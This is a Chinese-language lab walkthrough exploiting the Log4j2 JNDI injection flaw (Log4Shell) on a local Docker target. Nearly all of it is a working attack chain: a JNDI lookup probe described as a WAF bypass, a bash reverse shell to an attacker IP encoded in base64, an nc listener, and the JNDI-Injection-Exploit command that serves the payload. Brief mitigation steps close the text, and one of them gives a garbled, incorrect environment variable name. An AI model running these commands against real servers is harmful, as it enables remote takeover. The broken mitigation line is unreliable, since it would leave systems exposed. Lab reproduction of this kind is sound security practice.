由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。 https://mp.weixin.qq.com/s/15zcLEk6_x2enszhim9afA
Apache Log4j 2.x <= 2.14.1
${jndi:ldap://xxx.dnslog.cn/poc} waf绕过
靶机:http://192.168.223.129:8080/
1.平台环境 http://vulfocus.fofa.so/ 2.本地搭建
docker pull vulfocus/log4j2-rce-2021-12-09:latest docker run -d -p 8080:8080 vulfocus/log4j2-rce-2021-12-09:latest
先用dnslog测试一下
1.构造一个LDAP或者RMI服务器。 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 构造payload:
bash -i > /dev/tcp/192.168.223.131/8566 0>&1
监听端口
nc -lvnp 8566
到https://www.jackson-t.ca/runtime-exec-payloads.html转换一下
bash -c {echo,YmFzaCAtaSA+IC9kZXYvdGNwLzE5Mi4xNjguMjIzLjEzMS84NTY2IDA+JjE=}|{base64,-d}|{bash,-i}
开启工具
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+IC9kZXYvdGNwLzE5Mi4xNjguMjIzLjEzMS84NTY2IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.223.131" -C payload -A 攻击机的IP
这里有多个java版本的exp,如果不成功可以换个版本
执行成功,成功获取shell
1. 升级最新版本
2. 设置jvm参数"-Dlog4j2.formatMsgNoLookups=true";
3. 设置系统环境变量"FORMAT_MESSAGES_PATTERN_DIS-ABLE_LOOKU_PS"为"true"
4. 关闭应用的网络外连。